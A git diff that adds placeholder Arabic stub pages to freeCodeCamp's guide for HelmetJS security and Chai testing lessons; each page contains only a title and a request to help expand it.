diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md
new file mode 100644
index 0000000000..74cd6a617c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash and Compare Passwords Synchronously
+localeTitle: تجزئة ومقارنة كلمات المرور بشكل متزامن
+---
+## تجزئة ومقارنة كلمات المرور بشكل متزامن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md
new file mode 100644
index 0000000000..42a471e6cb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md
@@ -0,0 +1,9 @@
+---
+title: Hide Potentially Dangerous Information Using helmet.hidePoweredBy()
+localeTitle: إخفاء المعلومات الخطرة المحتملة باستخدام helmet.hidePoweredBy ()
+---
+## إخفاء المعلومات الخطرة المحتملة باستخدام helmet.hidePoweredBy ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md
new file mode 100644
index 0000000000..3d7a308c77
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security with HelmetJS
+localeTitle: أمن المعلومات مع HelmetJS
+---
+## أمن المعلومات مع HelmetJS
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md
new file mode 100644
index 0000000000..9164b6cd20
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md
@@ -0,0 +1,9 @@
+---
+title: Install and Require Helmet
+localeTitle: تثبيت وطلب الخوذة
+---
+## تثبيت وطلب الخوذة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md
new file mode 100644
index 0000000000..110d78e928
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md
@@ -0,0 +1,9 @@
+---
+title: Mitigate the Risk of Clickjacking with helmet.frameguard()
+localeTitle: تخفيف اختطار النقانة مع helmet.frameguard ()
+---
+## تخفيف اختطار النقانة مع helmet.frameguard ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md
new file mode 100644
index 0000000000..b25c1a6db2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md
@@ -0,0 +1,9 @@
+---
+title: Mitigate the Risk of Cross Site Scripting (XSS) Attacks with helmet.xssFilter()
+localeTitle: تخفيف مخاطر هجمات برمجة المواقع عبر (XSS) مع helmet.xssFilter ()
+---
+## تخفيف مخاطر هجمات برمجة المواقع عبر (XSS) مع helmet.xssFilter ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md
new file mode 100644
index 0000000000..8a5a62a837
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md
@@ -0,0 +1,9 @@
+---
+title: Prevent IE from Opening Untrusted HTML with helmet.ieNoOpen()
+localeTitle: منع IE من فتح HTML غير موثوق به مع helmet.ieNoOpen ()
+---
+## منع IE من فتح HTML غير موثوق به مع helmet.ieNoOpen ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md
new file mode 100644
index 0000000000..b16b1a8d3d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md
@@ -0,0 +1,9 @@
+---
+title: Set a Content Security Policy with helmet.contentSecurityPolicy()
+localeTitle: عيّن سياسة أمان المحتوى باستخدام helmet.contentSecurityPolicy ()
+---
+## عيّن سياسة أمان المحتوى باستخدام helmet.contentSecurityPolicy ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md
new file mode 100644
index 0000000000..9971b42e3b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand BCrypt Hashes
+localeTitle: فهم BCrypt Hashes
+---
+## فهم BCrypt Hashes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md
new file mode 100644
index 0000000000..64c26c0c43
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md
@@ -0,0 +1,9 @@
+---
+title: Assert Deep Equality with .deepEqual and .notDeepEqual
+localeTitle: تأكيد المساواة العميقة باستخدام .deepEqual و .notDeepEqual
+---
+## تأكيد المساواة العميقة باستخدام .deepEqual و .notDeepEqual
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md
new file mode 100644
index 0000000000..ad702efd1e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Compare the Properties of Two Elements
+localeTitle: قارن خصائص عنصرين
+---
+## قارن خصائص عنصرين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md
new file mode 100644
index 0000000000..f80f11122e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md
@@ -0,0 +1,11 @@
+---
+title: Quality Assurance and Testing with Chai
+localeTitle: ضمان الجودة والاختبار مع تشاي
+---
+## ضمان الجودة والاختبار مع تشاي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md
new file mode 100644
index 0000000000..0ab4478bd9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How JavaScript Assertions Work
+localeTitle: تعلم كيف تعمل تأكيدات جافا سكريبت
+---
+## تعلم كيف تعمل تأكيدات جافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md
new file mode 100644
index 0000000000..7aaf478f27
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on an API Response using Chai-HTTP III - PUT method
+localeTitle: تشغيل الاختبارات الوظيفية على استجابة API باستخدام طريقة Chai-HTTP III - PUT
+---
+## تشغيل الاختبارات الوظيفية على استجابة API باستخدام طريقة Chai-HTTP III - PUT
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md
new file mode 100644
index 0000000000..c0d98e8dbc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on an API Response using Chai-HTTP IV - PUT method
+localeTitle: تشغيل الاختبارات الوظيفية على استجابة API باستخدام طريقة Chai-HTTP IV - PUT
+---
+## تشغيل الاختبارات الوظيفية على استجابة API باستخدام طريقة Chai-HTTP IV - PUT
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md
new file mode 100644
index 0000000000..fa1e9ea9c6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on API Endpoints using Chai-HTTP II
+localeTitle: تشغيل الاختبارات الوظيفية على نقاط نهاية API باستخدام Chai-HTTP II
+---
+## تشغيل الاختبارات الوظيفية على نقاط نهاية API باستخدام Chai-HTTP II
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md
new file mode 100644
index 0000000000..951b2b3d8d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on API Endpoints using Chai-HTTP
+localeTitle: تشغيل الاختبارات الوظيفية على نقاط نهاية API باستخدام Chai-HTTP
+---
+## تشغيل الاختبارات الوظيفية على نقاط نهاية API باستخدام Chai-HTTP
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md
new file mode 100644
index 0000000000..de7a9d50e7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests using a Headless Browser II
+localeTitle: تشغيل الاختبارات الوظيفية باستخدام متصفح بلا رأس II
+---
+## تشغيل الاختبارات الوظيفية باستخدام متصفح بلا رأس II
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md
new file mode 100644
index 0000000000..7d55fd4b2d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests using a Headless Browser
+localeTitle: تشغيل الاختبارات الوظيفية باستخدام متصفح بلا رأس
+---
+## تشغيل الاختبارات الوظيفية باستخدام متصفح بلا رأس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md
new file mode 100644
index 0000000000..b422f500dd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md
@@ -0,0 +1,9 @@
+---
+title: Test for Truthiness
+localeTitle: اختبار من أجل الحقيقة
+---
+## اختبار من أجل الحقيقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md
new file mode 100644
index 0000000000..612becb5b9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a String Contains a Substring
+localeTitle: اختبار إذا كانت سلسلة تحتوي على سلسلة فرعية
+---
+## اختبار إذا كانت سلسلة تحتوي على سلسلة فرعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md
new file mode 100644
index 0000000000..e806a8de8d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value Falls within a Specific Range
+localeTitle: اختبار إذا سقطت قيمة ضمن نطاق معين
+---
+## اختبار إذا سقطت قيمة ضمن نطاق معين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md
new file mode 100644
index 0000000000..a60b642fd8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is a String
+localeTitle: اختبار إذا كانت القيمة هي سلسلة
+---
+## اختبار إذا كانت القيمة هي سلسلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md
new file mode 100644
index 0000000000..8921691a77
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is an Array
+localeTitle: اختبار إذا كانت القيمة هي صفيف
+---
+## اختبار إذا كانت القيمة هي صفيف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md
new file mode 100644
index 0000000000..ec717449bb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is of a Specific Data Structure Type
+localeTitle: اختبار إذا كانت القيمة من نوع بنية بيانات محددة
+---
+## اختبار إذا كانت القيمة من نوع بنية بيانات محددة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md
new file mode 100644
index 0000000000..3a65b0e974
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Variable or Function is Defined
+localeTitle: اختبار إذا تم تعريف متغير أو وظيفة
+---
+## اختبار إذا تم تعريف متغير أو وظيفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md
new file mode 100644
index 0000000000..ac0b10b01b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Array Contains an Item
+localeTitle: اختبار إذا كان صفيف يحتوي على عنصر
+---
+## اختبار إذا كان صفيف يحتوي على عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md
new file mode 100644
index 0000000000..59f65a8b58
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Object has a Property
